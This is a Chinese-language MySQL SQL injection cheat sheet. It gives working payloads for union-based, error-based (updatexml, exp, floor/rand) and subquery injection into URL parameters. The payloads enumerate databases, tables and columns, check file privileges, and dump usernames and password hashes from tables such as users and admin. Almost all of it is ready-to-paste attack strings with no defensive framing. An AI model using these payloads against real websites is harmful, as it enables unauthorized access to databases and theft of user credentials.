mysql5.0以后 information.schema库出现可以快速查询内容mysql5.1以后 udf导入xx\lib\plugin\ 目录下之前的要放到system目录中mysql5.x以后system执行命令mysql4.x或5.x中都有一个名字叫“mysql”的数据库,user表中user字段为用户登录名,password字段中为密码哈希,40位md5加密值,host字段中是这个用户可以在哪个机器上登录,localhost只能在本地登录,file_priv规定了用户是不是可以读取硬盘上的东西Y表示允许。/**/,(),+ 代表空格,/**/是mysql专有的特性,其他数据库不支持。# /* -- - ;%00 ` 代表注释,Concat(),group_concat(),concat_ws() 多行显示group_concat(char(60,112,62),table_name)可进行换行显示Mysql错误回显注入 通常用于无显示位回显.
version() 版本 system_user() 系统用户名
load_file() MYSQL读取本地文件
database() 当前数据库
current_user() 当前用户名
@@datadir 读取数据库路径user()
当前用户 session_user()
连接数据库的用户名
@@basedir MYSQL 安装路径length 返回字符串长度 substring 截取字符串长度 ascii 返回ascii码hex 十六进制转换 md5 返回md5值
当user()出错时可以使用@@user来进行查看当能显示显示位却不能显示数据的时候通常是因为数据编码的格式问题使用hex解决
id=1+and+1=2+union+select+1,2,3,4,5,hex(concat(database(),0x5f5f,user(),0x5f5f,version())),7/*CONVERT(group_concat(DISTINCT+user,0x3a,password,0x3a,host)+USING+latin1) 或者使用这种方法
order by 1,2,3,4,5,6 通过一次添加数字来确定字段数,原理是order根据某列的结果进行排序,如果该列不存在所以会报错。
and (select * from t_ys168_com)=1 通过报错注入返回表的字段数前提知道表名
查找显示位
union select 1,2,3,4,5,6 from admin-- 后面添加--结束语句+UNION+ALL+SELECT+null,null,null,null,null,null,null,null,null,null--+- //如果oracle与sql server中,列数据不明确的情况下,这种兼容性好一点。
+UNION+ALL+SELECT+1,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3,4,5,6,7,8 //批量查询 203a20显示效果会好一些类似a : b 而不是a:b
通常注入的时候,在语句最后加一个 -- 横杠或者 /* 注释符,结束后面的语句id=-1 一般联合查询时,如果前面出错则会执行后面的语句与and 1=2类似
查询数据库
union select 1,schema_name,3,4 frominformation_schema.schemata limit 1,1/*
union select 1,group_concat(schema_name),3,4 frominformation_schema.schemata/*
id=' or updatexml(1,concat(0x7e,(database())),0) or ' //报错注入有时候闭合使用这种格式,主要针对文本型使用单引号引起来的。
id=''or updatexml()exp(~(select*from(select database())x)) //通过exp注入获取数据库名称,前面加2个单引号用来闭合数字型注入点
or%20(select%201%20from%20(select%20count(*),concat((SELECT%20concat(user(),0x7c,database(),0x7c,version())),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)k)%23 //通过子查询获取数据库,用户名,版本等等
查询表名:
union select1,group_concat(char(60,112,62),table_name),3,4,5,6 frominformation_schema.tables wheretable_schema=0x636164657475725F6361646532303036(16进制数据库database()信息)
union select1,2,3,table_name from (select * from information_schema.tables wheretable_schema = 数据库名字的 hex order by table_schema limit6,1)t limit 1--
and(select!x~0.+from(select(select+group_concat(char(60,112,62),table_name)from+information_schema.tables+where+table_schema=database())x)x)
or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROMinformation_schema.tables WHERE table_schema=database() limit 0,1)),0)
exp(~(select*from(select table_name frominformation_schema.tables where table_schema=database() limit 0,1)x))
or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT(SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROMinformation_schema.tables WHERE table_schema=database() LIMIT 0,1)) FROMinformation_schema.tables limit 1,1),floor(rand(0)*2))x FROMinformation_schema.columns group by x)a)
查询字段:
and+1=2+union+select+1,2,column_name,4,5+from+(select+*+from+information_schema.columns+where+table_name=表的十六进制0x61646D696E6973747261746F72+and+table_schema=数据库的十六进制0x796B7873676F76+order+by+1+limit+2,1)t+limit+1--
and 1=2 union select1,2,3,4,group_concat(char(60,112,62),column_name),5,6,7 frominformation_schema.columns where table_name=表名的十六进制编码and table_schema=数据库的16进制编码
or updatexml(0,concat(0x7e,(SELECT concat(column_name) FROMinformation_schema.columns WHERE table_name='users' limit 1,1)),0)
exp(~(select*from(select column_name frominformation_schema.columns where table_name='users' limit 0,1)x))
or(SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT distinctconcat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROMinformation_schema.columns WHERE table_schema=database() AND table_name='users'LIMIT 0,1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROMinformation_schema.columns group by x)a)
判断是否具有读写权限
and (select count(*) from mysql.user)>0/* 正常显示为可读写
and (select count(file_priv) from mysql.user)>0/*
有时候 concat_ws 里面的 ':' 会引起语句报错去掉单引号用0x3a这种格式
有时候一些cms加密后的密码太长通过updatexml时获取的密码会不全,可以使用这个命令 substring(concat(admin_user,0x5f,admin_pass),10,30)来分开截取,或者使用子查询注入方式。
获取内容(0x3a 是:的意思):
and 1=2 union select1,2,group_concat(username,0x3a,password),database(),user(), 6,7,8,9 from 数据库.表
orupdatexml(0,concat(0x7e,(SELECT concat_ws(':',name,pass) FROM xx.users limit1,1)),0) //concat_ws里面的是字段 后面的数据库.表
exp(~ (select*from(select concat_ws(':',id, username,password) from users limit 0,1)x))
exp(~(select*from(select(concat(@:=0,(selectcount(*)from`information_schema`.columns wheretable_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) //获取所有数据
or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT(SELECT concat(0x7e,0x27,cast(pass aschar),0x27,0x7e) FROM users LIMIT 1,1) )FROM information_schema.tables limit 1,1),floor(rand(0)*2))x FROMinformation_schema.columns group by x)a)